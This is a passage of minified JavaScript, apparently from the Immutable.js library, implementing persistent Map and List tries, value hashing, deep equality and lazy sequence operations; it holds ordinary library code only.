ut(t){var e=ct(t);if(!e)throw new TypeError("Expected Array or iterable object of values: "+t);return e}function ct(t){return H(t)?new et(t):U(t)?new it(t):L(t)?new rt(t):void 0}function ft(t,e,n,r){var i=t._cache;if(i){for(var o=i.length-1,s=0;s<=o;s++){var a=i[n?o-s:s];if(!1===e(a[1],r?a[0]:s,t))return s+1}return s}return t.__iterateUncached(e,n)}function lt(t,e,n,r){var i=t._cache;if(i){var o=i.length-1,s=0;return new F((function(){var t=i[n?o-s:s];return s++>o?{value:void 0,done:!0}:K(e,r?t[0]:s-1,t[1])}))}return t.__iteratorUncached(e,n)}function ht(t,e){return e?pt(e,t,"",{"":t}):dt(t)}function pt(t,e,n,r){return Array.isArray(e)?t.call(r,n,Y(e).map((function(n,r){return pt(t,n,r,e)}))):vt(e)?t.call(r,n,$(e).map((function(n,r){return pt(t,n,r,e)}))):e}function dt(t){return Array.isArray(t)?Y(t).map(dt).toList():vt(t)?$(t).map(dt).toMap():t}function vt(t){return t&&(t.constructor===Object||void 0===t.constructor)}function _t(t,e){if(t===e||t!=t&&e!=e)return!0;if(!t||!e)return!1;if("function"==typeof t.valueOf&&"function"==typeof e.valueOf){if((t=t.valueOf())===(e=e.valueOf())||t!=t&&e!=e)return!0;if(!t||!e)return!1}return!("function"!=typeof t.equals||"function"!=typeof e.equals||!t.equals(e))}function yt(t,e){if(t===e)return!0;if(!s(e)||void 0!==t.size&&void 0!==e.size&&t.size!==e.size||void 0!==t.__hash&&void 0!==e.__hash&&t.__hash!==e.__hash||a(t)!==a(e)||u(t)!==u(e)||f(t)!==f(e))return!1;if(0===t.size&&0===e.size)return!0;var n=!c(t);if(f(t)){var r=t.entries();return e.every((function(t,e){var i=r.next().value;return i&&_t(i[1],t)&&(n||_t(i[0],e))}))&&r.next().done}var i=!1;if(void 0===t.size)if(void 0===e.size)"function"==typeof t.cacheResult&&t.cacheResult();else{i=!0;var o=t;t=e,e=o}var l=!0,h=e.__iterate((function(e,r){if(n?!t.has(e):i?!_t(e,t.get(r,m)):!_t(t.get(r,m),e))return l=!1,!1}));return l&&t.size===h}function gt(t,e){if(!(this instanceof gt))return new gt(t,e);if(this._value=t,this.size=void 0===e?1/0:Math.max(0,e),0===this.size){if(Q)return Q;Q=this}}function mt(t,e){if(!t)throw new Error(e)}function bt(t,e,n){if(!(this instanceof bt))return new bt(t,e,n);if(mt(0!==n,"Cannot step a Range by 0"),t=t||0,void 0===e&&(e=1/0),n=void 0===n?1:Math.abs(n),e<t&&(n=-n),this._start=t,this._end=e,this._step=n,this.size=Math.max(0,Math.ceil((e-t)/n-1)+1),0===this.size){if(Z)return Z;Z=this}}function wt(){throw TypeError("Abstract")}function St(){}function Et(){}function Ot(){}J.prototype[tt]=!0,e(et,Y),et.prototype.get=function(t,e){return this.has(t)?this._array[z(this,t)]:e},et.prototype.__iterate=function(t,e){for(var n=this._array,r=n.length-1,i=0;i<=r;i++)if(!1===t(n[e?r-i:i],i,this))return i+1;return i},et.prototype.__iterator=function(t,e){var n=this._array,r=n.length-1,i=0;return new F((function(){return i>r?{value:void 0,done:!0}:K(t,i,n[e?r-i++:i++])}))},e(nt,$),nt.prototype.get=function(t,e){return void 0===e||this.has(t)?this._object[t]:e},nt.prototype.has=function(t){return this._object.hasOwnProperty(t)},nt.prototype.__iterate=function(t,e){for(var n=this._object,r=this._keys,i=r.length-1,o=0;o<=i;o++){var s=r[e?i-o:o];if(!1===t(n[s],s,this))return o+1}return o},nt.prototype.__iterator=function(t,e){var n=this._object,r=this._keys,i=r.length-1,o=0;return new F((function(){var s=r[e?i-o:o];return o++>i?{value:void 0,done:!0}:K(t,s,n[s])}))},nt.prototype[d]=!0,e(rt,Y),rt.prototype.__iterateUncached=function(t,e){if(e)return this.cacheResult().__iterate(t,e);var n=W(this._iterable),r=0;if(U(n))for(var i;!(i=n.next()).done&&!1!==t(i.value,r++,this););return r},rt.prototype.__iteratorUncached=function(t,e){if(e)return this.cacheResult().__iterator(t,e);var n=W(this._iterable);if(!U(n))return new F(V);var r=0;return new F((function(){var e=n.next();return e.done?e:K(t,r++,e.value)}))},e(it,Y),it.prototype.__iterateUncached=function(t,e){if(e)return this.cacheResult().__iterate(t,e);for(var n,r=this._iterator,i=this._iteratorCache,o=0;o<i.length;)if(!1===t(i[o],o++,this))return o;for(;!(n=r.next()).done;){var s=n.value;if(i[o]=s,!1===t(s,o++,this))break}return o},it.prototype.__iteratorUncached=function(t,e){if(e)return this.cacheResult().__iterator(t,e);var n=this._iterator,r=this._iteratorCache,i=0;return new F((function(){if(i>=r.length){var e=n.next();if(e.done)return e;r[i]=e.value}return K(t,i,r[i++])}))},e(gt,Y),gt.prototype.toString=function(){return 0===this.size?"Repeat []":"Repeat [ "+this._value+" "+this.size+" times ]"},gt.prototype.get=function(t,e){return this.has(t)?this._value:e},gt.prototype.includes=function(t){return _t(this._value,t)},gt.prototype.slice=function(t,e){var n=this.size;return C(t,e,n)?this:new gt(this._value,k(e,n)-D(t,n))},gt.prototype.reverse=function(){return this},gt.prototype.indexOf=function(t){return _t(this._value,t)?0:-1},gt.prototype.lastIndexOf=function(t){return _t(this._value,t)?this.size:-1},gt.prototype.__iterate=function(t,e){for(var n=0;n<this.size;n++)if(!1===t(this._value,n,this))return n+1;return n},gt.prototype.__iterator=function(t,e){var n=this,r=0;return new F((function(){return r<n.size?K(t,r++,n._value):{value:void 0,done:!0}}))},gt.prototype.equals=function(t){return t instanceof gt?_t(this._value,t._value):yt(t)},e(bt,Y),bt.prototype.toString=function(){return 0===this.size?"Range []":"Range [ "+this._start+"..."+this._end+(this._step>1?" by "+this._step:"")+" ]"},bt.prototype.get=function(t,e){return this.has(t)?this._start+z(this,t)*this._step:e},bt.prototype.includes=function(t){var e=(t-this._start)/this._step;return e>=0&&e<this.size&&e===Math.floor(e)},bt.prototype.slice=function(t,e){return C(t,e,this.size)?this:(t=D(t,this.size),(e=k(e,this.size))<=t?new bt(0,0):new bt(this.get(t,this._end),this.get(e,this._end),this._step))},bt.prototype.indexOf=function(t){var e=t-this._start;if(e%this._step==0){var n=e/this._step;if(n>=0&&n<this.size)return n}return-1},bt.prototype.lastIndexOf=function(t){return this.indexOf(t)},bt.prototype.__iterate=function(t,e){for(var n=this.size-1,r=this._step,i=e?this._start+n*r:this._start,o=0;o<=n;o++){if(!1===t(i,o,this))return o+1;i+=e?-r:r}return o},bt.prototype.__iterator=function(t,e){var n=this.size-1,r=this._step,i=e?this._start+n*r:this._start,o=0;return new F((function(){var s=i;return i+=e?-r:r,o>n?{value:void 0,done:!0}:K(t,o++,s)}))},bt.prototype.equals=function(t){return t instanceof bt?this._start===t._start&&this._end===t._end&&this._step===t._step:yt(this,t)},e(wt,n),e(St,wt),e(Et,wt),e(Ot,wt),wt.Keyed=St,wt.Indexed=Et,wt.Set=Ot;var xt="function"==typeof Math.imul&&-2===Math.imul(4294967295,2)?Math.imul:function(t,e){var n=65535&(t|=0),r=65535&(e|=0);return n*r+((t>>>16)*r+n*(e>>>16)<<16>>>0)|0};function It(t){return t>>>1&1073741824|3221225471&t}function zt(t){if(!1===t||null==t)return 0;if("function"==typeof t.valueOf&&(!1===(t=t.valueOf())||null==t))return 0;if(!0===t)return 1;var e=typeof t;if("number"===e){var n=0|t;for(n!==t&&(n^=4294967295*t);t>4294967295;)n^=t/=4294967295;return It(n)}if("string"===e)return t.length>jt?function(t){var e=Tt[t];return void 0===e&&(e=Mt(t),Bt===Pt&&(Bt=0,Tt={}),Bt++,Tt[t]=e),e}(t):Mt(t);if("function"==typeof t.hashCode)return t.hashCode();if("object"===e)return function(t){var e;if(Rt&&void 0!==(e=kt.get(t)))return e;if(void 0!==(e=t[qt]))return e;if(!Dt){if(void 0!==(e=t.propertyIsEnumerable&&t.propertyIsEnumerable[qt]))return e;if(void 0!==(e=function(t){if(t&&t.nodeType>0)switch(t.nodeType){case 1:return t.uniqueID;case 9:return t.documentElement&&t.documentElement.uniqueID}}(t)))return e}if(e=++At,1073741824&At&&(At=0),Rt)kt.set(t,e);else{if(void 0!==Ct&&!1===Ct(t))throw new Error("Non-extensible objects are not allowed as keys.");if(Dt)Object.defineProperty(t,qt,{enumerable:!1,configurable:!1,writable:!1,value:e});else if(void 0!==t.propertyIsEnumerable&&t.propertyIsEnumerable===t.constructor.prototype.propertyIsEnumerable)t.propertyIsEnumerable=function(){return this.constructor.prototype.propertyIsEnumerable.apply(this,arguments)},t.propertyIsEnumerable[qt]=e;else{if(void 0===t.nodeType)throw new Error("Unable to set a non-enumerable property on object.");t[qt]=e}}return e}(t);if("function"==typeof t.toString)return Mt(t.toString());throw new Error("Value type "+e+" cannot be hashed.")}function Mt(t){for(var e=0,n=0;n<t.length;n++)e=31*e+t.charCodeAt(n)|0;return It(e)}var Ct=Object.isExtensible,Dt=function(){try{return Object.defineProperty({},"@",{}),!0}catch(t){return!1}}();var kt,Rt="function"==typeof WeakMap;Rt&&(kt=new WeakMap);var At=0,qt="__immutablehash__";"function"==typeof Symbol&&(qt=Symbol(qt));var jt=16,Pt=255,Bt=0,Tt={};function Ft(t){mt(t!==1/0,"Cannot perform this action with an infinite size.")}function Kt(t){return null==t?te():Vt(t)&&!f(t)?t:te().withMutations((function(e){var n=r(t);Ft(n.size),n.forEach((function(t,n){return e.set(n,t)}))}))}function Vt(t){return!(!t||!t[Ut])}e(Kt,St),Kt.prototype.toString=function(){return this.__toString("Map {","}")},Kt.prototype.get=function(t,e){return this._root?this._root.get(0,void 0,t,e):e},Kt.prototype.set=function(t,e){return ee(this,t,e)},Kt.prototype.setIn=function(t,e){return this.updateIn(t,m,(function(){return e}))},Kt.prototype.remove=function(t){return ee(this,t,m)},Kt.prototype.deleteIn=function(t){return this.updateIn(t,(function(){return m}))},Kt.prototype.update=function(t,e,n){return 1===arguments.length?t(this):this.updateIn([t],e,n)},Kt.prototype.updateIn=function(t,e,n){n||(n=e,e=void 0);var r=ce(this,sn(t),e,n);return r===m?void 0:r},Kt.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._root=null,this.__hash=void 0,this.__altered=!0,this):te()},Kt.prototype.merge=function(){return oe(this,void 0,arguments)},Kt.prototype.mergeWith=function(e){return oe(this,e,t.call(arguments,1))},Kt.prototype.mergeIn=function(e){var n=t.call(arguments,1);return this.updateIn(e,te(),(function(t){return"function"==typeof t.merge?t.merge.apply(t,n):n[n.length-1]}))},Kt.prototype.mergeDeep=function(){return oe(this,se,arguments)},Kt.prototype.mergeDeepWith=function(e){var n=t.call(arguments,1);return oe(this,ae(e),n)},Kt.prototype.mergeDeepIn=function(e){var n=t.call(arguments,1);return this.updateIn(e,te(),(function(t){return"function"==typeof t.mergeDeep?t.mergeDeep.apply(t,n):n[n.length-1]}))},Kt.prototype.sort=function(t){return Re($e(this,t))},Kt.prototype.sortBy=function(t,e){return Re($e(this,e,t))},Kt.prototype.withMutations=function(t){var e=this.asMutable();return t(e),e.wasAltered()?e.__ensureOwner(this.__ownerID):this},Kt.prototype.asMutable=function(){return this.__ownerID?this:this.__ensureOwner(new O)},Kt.prototype.asImmutable=function(){return this.__ensureOwner()},Kt.prototype.wasAltered=function(){return this.__altered},Kt.prototype.__iterator=function(t,e){return new Xt(this,t,e)},Kt.prototype.__iterate=function(t,e){var n=this,r=0;return this._root&&this._root.iterate((function(e){return r++,t(e[1],e[0],n)}),e),r},Kt.prototype.__ensureOwner=function(t){return t===this.__ownerID?this:t?Zt(this.size,this._root,t,this.__hash):(this.__ownerID=t,this.__altered=!1,this)},Kt.isMap=Vt;var Lt,Ut="@@__IMMUTABLE_MAP__@@",Wt=Kt.prototype;function Nt(t,e){this.ownerID=t,this.entries=e}function Ht(t,e,n){this.ownerID=t,this.bitmap=e,this.nodes=n}function Jt(t,e,n){this.ownerID=t,this.count=e,this.nodes=n}function $t(t,e,n){this.ownerID=t,this.keyHash=e,this.entries=n}function Yt(t,e,n){this.ownerID=t,this.keyHash=e,this.entry=n}function Xt(t,e,n){this._type=e,this._reverse=n,this._stack=t._root&&Qt(t._root)}function Gt(t,e){return K(t,e[0],e[1])}function Qt(t,e){return{node:t,index:0,__prev:e}}function Zt(t,e,n,r){var i=Object.create(Wt);return i.size=t,i._root=e,i.__ownerID=n,i.__hash=r,i.__altered=!1,i}function te(){return Lt||(Lt=Zt(0))}function ee(t,e,n){var r,i;if(t._root){var o=S(b),s=S(w);if(r=ne(t._root,t.__ownerID,0,void 0,e,n,o,s),!s.value)return t;i=t.size+(o.value?n===m?-1:1:0)}else{if(n===m)return t;i=1,r=new Nt(t.__ownerID,[[e,n]])}return t.__ownerID?(t.size=i,t._root=r,t.__hash=void 0,t.__altered=!0,t):r?Zt(i,r):te()}function ne(t,e,n,r,i,o,s,a){return t?t.update(e,n,r,i,o,s,a):o===m?t:(E(a),E(s),new Yt(e,r,[i,o]))}function re(t){return t.constructor===Yt||t.constructor===$t}function ie(t,e,n,r,i){if(t.keyHash===r)return new $t(e,r,[t.entry,i]);var o,s=(0===n?t.keyHash:t.keyHash>>>n)&g,a=(0===n?r:r>>>n)&g;return new Ht(e,1<<s|1<<a,s===a?[ie(t,e,n+_,r,i)]:(o=new Yt(e,r,i),s<a?[t,o]:[o,t]))}function oe(t,e,n){for(var i=[],o=0;o<n.length;o++){var a=n[o],u=r(a);s(a)||(u=u.map((function(t){return ht(t)}))),i.push(u)}return ue(t,e,i)}function se(t,e,n){return t&&t.mergeDeep&&s(e)?t.mergeDeep(e):_t(t,e)?t:e}function ae(t){return function(e,n,r){if(e&&e.mergeDeepWith&&s(n))return e.mergeDeepWith(t,n);var i=t(e,n,r);return _t(e,i)?e:i}}function ue(t,e,n){return 0===(n=n.filter((function(t){return 0!==t.size}))).length?t:0!==t.size||t.__ownerID||1!==n.length?t.withMutations((function(t){for(var r=e?function(n,r){t.update(r,m,(function(t){return t===m?n:e(t,n,r)}))}:function(e,n){t.set(n,e)},i=0;i<n.length;i++)n[i].forEach(r)})):t.constructor(n[0])}function ce(t,e,n,r){var i=t===m,o=e.next();if(o.done){var s=i?n:t,a=r(s);return a===s?t:a}mt(i||t&&t.set,"invalid keyPath");var u=o.value,c=i?m:t.get(u,m),f=ce(c,e,n,r);return f===c?t:f===m?t.remove(u):(i?te():t).set(u,f)}function fe(t){return t=(t=(858993459&(t-=t>>1&1431655765))+(t>>2&858993459))+(t>>4)&252645135,127&(t+=t>>8)+(t>>16)}function le(t,e,n,r){var i=r?t:x(t);return i[e]=n,i}Wt[Ut]=!0,Wt[v]=Wt.remove,Wt.removeIn=Wt.deleteIn,Nt.prototype.get=function(t,e,n,r){for(var i=this.entries,o=0,s=i.length;o<s;o++)if(_t(n,i[o][0]))return i[o][1];return r},Nt.prototype.update=function(t,e,n,r,i,o,s){for(var a=i===m,u=this.entries,c=0,f=u.length;c<f&&!_t(r,u[c][0]);c++);var l=c<f;if(l?u[c][1]===i:a)return this;if(E(s),(a||!l)&&E(o),!a||1!==u.length){if(!l&&!a&&u.length>=he)return function(t,e,n,r){t||(t=new O);for(var i=new Yt(t,zt(n),[n,r]),o=0;o<e.length;o++){var s=e[o];i=i.update(t,0,void 0,s[0],s[1])}return i}(t,u,r,i);var h=t&&t===this.ownerID,p=h?u:x(u);return l?a?c===f-1?p.pop():p[c]=p.pop():p[c]=[r,i]:p.push([r,i]),h?(this.entries=p,this):new Nt(t,p)}},Ht.prototype.get=function(t,e,n,r){void 0===e&&(e=zt(n));var i=1<<((0===t?e:e>>>t)&g),o=this.bitmap;return 0==(o&i)?r:this.nodes[fe(o&i-1)].get(t+_,e,n,r)},Ht.prototype.update=function(t,e,n,r,i,o,s){void 0===n&&(n=zt(r));var a=(0===e?n:n>>>e)&g,u=1<<a,c=this.bitmap,f=0!=(c&u);if(!f&&i===m)return this;var l=fe(c&u-1),h=this.nodes,p=f?h[l]:void 0,d=ne(p,t,e+_,n,r,i,o,s);if(d===p)return this;if(!f&&d&&h.length>=pe)return function(t,e,n,r,i){for(var o=0,s=new Array(y),a=0;0!==n;a++,n>>>=1)s[a]=1&n?e[o++]:void 0;return s[r]=i,new Jt(t,o+1,s)}(t,h,c,a,d);if(f&&!d&&2===h.length&&re(h[1^l]))return h[1^l];if(f&&d&&1===h.length&&re(d))return d;var v=t&&t===this.ownerID,b=f?d?c:c^u:c|u,w=f?d?le(h,l,d,v):function(t,e,n){var r=t.length-1;if(n&&e===r)return t.pop(),t;for(var i=new Array(r),o=0,s=0;s<r;s++)s===e&&(o=1),i[s]=t[s+o];return i}(h,l,v):function(t,e,n,r){var i=t.length+1;if(r&&e+1===i)return t[e]=n,t;for(var o=new Array(i),s=0,a=0;a<i;a++)a===e?(o[a]=n,s=-1):o[a]=t[a+s];return o}(h,l,d,v);return v?(this.bitmap=b,this.nodes=w,this):new Ht(t,b,w)},Jt.prototype.get=function(t,e,n,r){void 0===e&&(e=zt(n));var i=(0===t?e:e>>>t)&g,o=this.nodes[i];return o?o.get(t+_,e,n,r):r},Jt.prototype.update=function(t,e,n,r,i,o,s){void 0===n&&(n=zt(r));var a=(0===e?n:n>>>e)&g,u=i===m,c=this.nodes,f=c[a];if(u&&!f)return this;var l=ne(f,t,e+_,n,r,i,o,s);if(l===f)return this;var h=this.count;if(f){if(!l&&--h<de)return function(t,e,n,r){for(var i=0,o=0,s=new Array(n),a=0,u=1,c=e.length;a<c;a++,u<<=1){var f=e[a];void 0!==f&&a!==r&&(i|=u,s[o++]=f)}return new Ht(t,i,s)}(t,c,h,a)}else h++;var p=t&&t===this.ownerID,d=le(c,a,l,p);return p?(this.count=h,this.nodes=d,this):new Jt(t,h,d)},$t.prototype.get=function(t,e,n,r){for(var i=this.entries,o=0,s=i.length;o<s;o++)if(_t(n,i[o][0]))return i[o][1];return r},$t.prototype.update=function(t,e,n,r,i,o,s){void 0===n&&(n=zt(r));var a=i===m;if(n!==this.keyHash)return a?this:(E(s),E(o),ie(this,t,e,n,[r,i]));for(var u=this.entries,c=0,f=u.length;c<f&&!_t(r,u[c][0]);c++);var l=c<f;if(l?u[c][1]===i:a)return this;if(E(s),(a||!l)&&E(o),a&&2===f)return new Yt(t,this.keyHash,u[1^c]);var h=t&&t===this.ownerID,p=h?u:x(u);return l?a?c===f-1?p.pop():p[c]=p.pop():p[c]=[r,i]:p.push([r,i]),h?(this.entries=p,this):new $t(t,this.keyHash,p)},Yt.prototype.get=function(t,e,n,r){return _t(n,this.entry[0])?this.entry[1]:r},Yt.prototype.update=function(t,e,n,r,i,o,s){var a=i===m,u=_t(r,this.entry[0]);return(u?i===this.entry[1]:a)?this:(E(s),a?void E(o):u?t&&t===this.ownerID?(this.entry[1]=i,this):new Yt(t,this.keyHash,[r,i]):(E(o),ie(this,t,e,zt(r),[r,i])))},Nt.prototype.iterate=$t.prototype.iterate=function(t,e){for(var n=this.entries,r=0,i=n.length-1;r<=i;r++)if(!1===t(n[e?i-r:r]))return!1},Ht.prototype.iterate=Jt.prototype.iterate=function(t,e){for(var n=this.nodes,r=0,i=n.length-1;r<=i;r++){var o=n[e?i-r:r];if(o&&!1===o.iterate(t,e))return!1}},Yt.prototype.iterate=function(t,e){return t(this.entry)},e(Xt,F),Xt.prototype.next=function(){for(var t=this._type,e=this._stack;e;){var n,r=e.node,i=e.index++;if(r.entry){if(0===i)return Gt(t,r.entry)}else if(r.entries){if(i<=(n=r.entries.length-1))return Gt(t,r.entries[this._reverse?n-i:i])}else if(i<=(n=r.nodes.length-1)){var o=r.nodes[this._reverse?n-i:i];if(o){if(o.entry)return Gt(t,o.entry);e=this._stack=Qt(o,e)}continue}e=this._stack=this._stack.__prev}return{value:void 0,done:!0}};var he=y/4,pe=y/2,de=y/4;function ve(t){var e=xe();if(null==t)return e;if(_e(t))return t;var n=i(t),r=n.size;return 0===r?e:(Ft(r),r>0&&r<y?Oe(0,r,_,null,new me(n.toArray())):e.withMutations((function(t){t.setSize(r),n.forEach((function(e,n){return t.set(n,e)}))})))}function _e(t){return!(!t||!t[ye])}e(ve,Et),ve.of=function(){return this(arguments)},ve.prototype.toString=function(){return this.__toString("List [","]")},ve.prototype.get=function(t,e){if((t=z(this,t))>=0&&t<this.size){var n=Me(this,t+=this._origin);return n&&n.array[t&g]}return e},ve.prototype.set=function(t,e){return function(t,e,n){if((e=z(t,e))!=e)return t;if(e>=t.size||e<0)return t.withMutations((function(t){e<0?Ce(t,e).set(0,n):Ce(t,0,e+1).set(e,n)}));e+=t._origin;var r=t._tail,i=t._root,o=S(w);return e>=ke(t._capacity)?r=Ie(r,t.__ownerID,0,e,n,o):i=Ie(i,t.__ownerID,t._level,e,n,o),o.value?t.__ownerID?(t._root=i,t._tail=r,t.__hash=void 0,t.__altered=!0,t):Oe(t._origin,t._capacity,t._level,i,r):t}(this,t,e)},ve.prototype.remove=function(t){return this.has(t)?0===t?this.shift():t===this.size-1?this.pop():this.splice(t,1):this},ve.prototype.insert=function(t,e){return this.splice(t,0,e)},ve.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=this._origin=this._capacity=0,this._level=_,this._root=this._tail=null,this.__hash=void 0,this.__altered=!0,this):xe()},ve.prototype.push=function(){var t=arguments,e=this.size;return this.withMutations((function(n){Ce(n,0,e+t.length);for(var r=0;r<t.length;r++)n.set(e+r,t[r])}))},ve.prototype.pop=function(){return Ce(this,0,-1)},ve.prototype.unshift=function(){var t=arguments;return this.withMutations((function(e){Ce(e,-t.length);for(var n=0;n<t.length;n++)e.set(n,t[n])}))},ve.prototype.shift=function(){return Ce(this,1)},ve.prototype.merge=function(){return De(this,void 0,arguments)},ve.prototype.mergeWith=function(e){return De(this,e,t.call(arguments,1))},ve.prototype.mergeDeep=function(){return De(this,se,arguments)},ve.prototype.mergeDeepWith=function(e){var n=t.call(arguments,1);return De(this,ae(e),n)},ve.prototype.setSize=function(t){return Ce(this,0,t)},ve.prototype.slice=function(t,e){var n=this.size;return C(t,e,n)?this:Ce(this,D(t,n),k(e,n))},ve.prototype.__iterator=function(t,e){var n=0,r=Ee(this,e);return new F((function(){var e=r();return e===Se?{value:void 0,done:!0}:K(t,n++,e)}))},ve.prototype.__iterate=function(t,e){for(var n,r=0,i=Ee(this,e);(n=i())!==Se&&!1!==t(n,r++,this););return r},ve.prototype.__ensureOwner=function(t){return t===this.__ownerID?this:t?Oe(this._origin,this._capacity,this._level,this._root,this._tail,t,this.__hash):(this.__ownerID=t,this)},ve.isList=_e;var ye="@@__IMMUTABLE_LIST__@@",ge=ve.prototype;function me(t,e){this.array=t,this.ownerID=e}ge[ye]=!0,ge[v]=ge.remove,ge.setIn=Wt.setIn,ge.deleteIn=ge.removeIn=Wt.removeIn,ge.update=Wt.update,ge.updateIn=Wt.updateIn,ge.mergeIn=Wt.mergeIn,ge.mergeDeepIn=Wt.mergeDeepIn,ge.withMutations=Wt.withMutations,ge.asMutable=Wt.asMutable,ge.asImmutable=Wt.asImmutable,ge.wasAltered=Wt.wasAltered,me.prototype.removeBefore=function(t,e,n){if(n===e?1<<e:0===this.array.length)return this;var r=n>>>e&g;if(r>=this.array.length)return new me([],t);var i,o=0===r;if(e>0){var s=this.array[r];if((i=s&&s.removeBefore(t,e-_,n))===s&&o)return this}if(o&&!i)return this;var a=ze(this,t);if(!o)for(var u=0;u<r;u++)a.array[u]=void 0;return i&&(a.array[r]=i),a},me.prototype.removeAfter=function(t,e,n){if(n===(e?1<<e:0)||0===this.array.length)return this;var r,i=n-1>>>e&g;if(i>=this.array.length)return this;if(e>0){var o=this.array[i];if((r=o&&o.removeAfter(t,e-_,n))===o&&i===this.array.length-1)return this}var s=ze(this,t);return s.array.splice(i+1),r&&(s.array[i]=r),s};var be,we,Se={};function Ee(t,e){var n=t._origin,r=t._capacity,i=ke(r),o=t._tail;return s(t._root,t._level,0);function s(t,a,u){return 0===a?function(t,s){var a=s===i?o&&o.array:t&&t.array,u=s>n?0:n-s,c=r-s;return c>y&&(c=y),function(){if(u===c)return Se;var t=e?--c:u++;return a&&a[t]}}(t,u):function(t,i,o){var a,u=t&&t.array,c=o>n?0:n-o>>i,f=1+(r-o>>i);return f>y&&(f=y),function(){for(;;){if(a){var t=a();if(t!==Se)return t;a=null}if(c===f)return Se;var n=e?--f:c++;a=s(u&&u[n],i-_,o+(n<<i))}}}(t,a,u)}}function Oe(t,e,n,r,i,o,s){var a=Object.create(ge);return a.size=e-t,a._origin=t,a._capacity=e,a._level=n,a._root=r,a._tail=i,a.__ownerID=o,a.__hash=s,a.__altered=!1,a}function xe(){return be||(be=Oe(0,0,_))}function Ie(t,e,n,r,i,o){var s,a=r>>>n&g,u=t&&a<t.array.length;if(!u&&void 0===i)return t;if(n>0){var c=t&&t.array[a],f=Ie(c,e,n-_,r,i,o);return f===c?t:((s=ze(t,e)).array[a]=f,s)}return u&&t.array[a]===i?t:(E(o),s=ze(t,e),void 0===i&&a===s.array.length-1?s.array.pop():s.array[a]=i,s)}function ze(t,e){return e&&t&&e===t.ownerID?t:new me(t?t.array.slice():[],e)}function Me(t,e){if(e>=ke(t._capacity))return t._tail;if(e<1<<t._level+_){for(var n=t._root,r=t._level;n&&r>0;)n=n.array[e>>>r&g],r-=_;return n}}function Ce(t,e,n){void 0!==e&&(e|=0),void 0!==n&&(n|=0);var r=t.__ownerID||new O,i=t._origin,o=t._capacity,s=i+e,a=void 0===n?o:n<0?o+n:i+n;if(s===i&&a===o)return t;if(s>=a)return t.clear();for(var u=t._level,c=t._root,f=0;s+f<0;)c=new me(c&&c.array.length?[void 0,c]:[],r),f+=1<<(u+=_);f&&(s+=f,i+=f,a+=f,o+=f);for(var l=ke(o),h=ke(a);h>=1<<u+_;)c=new me(c&&c.array.length?[c]:[],r),u+=_;var p=t._tail,d=h<l?Me(t,a-1):h>l?new me([],r):p;if(p&&h>l&&s<o&&p.array.length){for(var v=c=ze(c,r),y=u;y>_;y-=_){var m=l>>>y&g;v=v.array[m]=ze(v.array[m],r)}v.array[l>>>_&g]=p}if(a<o&&(d=d&&d.removeAfter(r,0,a)),s>=h)s-=h,a-=h,u=_,c=null,d=d&&d.removeBefore(r,0,s);else if(s>i||h<l){for(f=0;c;){var b=s>>>u&g;if(b!==h>>>u&g)break;b&&(f+=(1<<u)*b),u-=_,c=c.array[b]}c&&s>i&&(c=c.removeBefore(r,u,s-f)),c&&h<l&&(c=c.removeAfter(r,u,h-f)),f&&(s-=f,a-=f)}return t.__ownerID?(t.size=a-s,t._origin=s,t._capacity=a,t._level=u,t._root=c,t._tail=d,t.__hash=void 0,t.__altered=!0,t):Oe(s,a,u,c,d)}function De(t,e,n){for(var r=[],o=0,a=0;a<n.length;a++){var u=n[a],c=i(u);c.size>o&&(o=c.size),s(u)||(c=c.map((function(t){return ht(t)}))),r.push(c)}return o>t.size&&(t=t.setSize(o)),ue(t,e,r)}function ke(t){return t<y?0:t-1>>>_<<_}function Re(t){return null==t?je():Ae(t)?t:je().withMutations((function(e){var n=r(t);Ft(n.size),n.forEach((function(t,n){return e.set(n,t)}))}))}function Ae(t){return Vt(t)&&f(t)}function qe(t,e,n,r){var i=Object.create(Re.prototype);return i.size=t?t.size:0,i._map=t,i._list=e,i.__ownerID=n,i.__hash=r,i}function je(){return we||(we=qe(te(),xe()))}function Pe(t,e,n){var r,i,o=t._map,s=t._list,a=o.get(e),u=void 0!==a;if(n===m){if(!u)return t;s.size>=y&&s.size>=2*o.size?(r=(i=s.filter((function(t,e){return void 0!==t&&a!==e}))).toKeyedSeq().map((function(t){return t[0]})).flip().toMap(),t.__ownerID&&(r.__ownerID=i.__ownerID=t.__ownerID)):(r=o.remove(e),i=a===s.size-1?s.pop():s.set(a,void 0))}else if(u){if(n===s.get(a)[1])return t;r=o,i=s.set(a,[e,n])}else r=o.set(e,s.size),i=s.set(s.size,[e,n]);return t.__ownerID?(t.size=r.size,t._map=r,t._list=i,t.__hash=void 0,t):qe(r,i)}function Be(t,e){this._iter=t,this._useKeys=e,this.size=t.size}function Te(t){this._iter=t,this.size=t.size}function Fe(t){this._iter=t,this.size=t.size}function Ke(t){this._iter=t,this.size=t.size}function Ve(t){var e=nn(t);return e._iter=t,e.size=t.size,e.flip=function(){return t},e.reverse=function(){var e=t.reverse.apply(this);return e.flip=function(){return t.reverse()},e},e.has=function(e){return t.includes(e)},e.includes=function(e){return t.has(e)},e.cacheResult=rn,e.__iterateUncached=function(e,n){var r=this;return t.__iterate((function(t,n){return!1!==e(n,t,r)}),n)},e.__iteratorUncached=function(e,n){if(e===j){var r=t.__iterator(e,n);return new F((function(){var t=r.next();if(!t.done){var e=t.value[0];t.value[0]=t.value[1],t.value[1]=e}return t}))}return t.__iterator(e===q?A:q,n)},e}function Le(t,e,n){var r=nn(t);return r.size=t.size,r.has=function(e){return t.has(e)},r.get=function(r,i){var o=t.get(r,m);return o===m?i:e.call(n,o,r,t)},r.__iterateUncached=function(r,i){var o=this;return t.__iterate((function(t,i,s){return!1!==r(e.call(n,t,i,s),i,o)}),i)},r.__iteratorUncached=function(r,i){var o=t.__iterator(j,i);return new F((function(){var i=o.next();if(i.done)return i;var s=i.value,a=s[0];return K(r,a,e.call(n,s[1],a,t),i)}))},r}function Ue(t,e){var n=nn(t);return n._iter=t,n.size=t.size,n.reverse=function(){return t},t.flip&&(n.flip=function(){var e=Ve(t);return e.reverse=function(){return t.flip()},e}),n.get=function(n,r){return t.get(e?n:-1-n,r)},n.has=function(n){return t.has(e?n:-1-n)},n.includes=function(e){return t.includes(e)},n.cacheResult=rn,n.__iterate=function(e,n){var r=this;return t.__iterate((function(t,n){return e(t,n,r)}),!n)},n.__iterator=function(e,n){return t.__iterator(e,!n)},n}function We(t,e,n,r){var i=nn(t);return r&&(i.has=function(r){var i=t.get(r,m);return 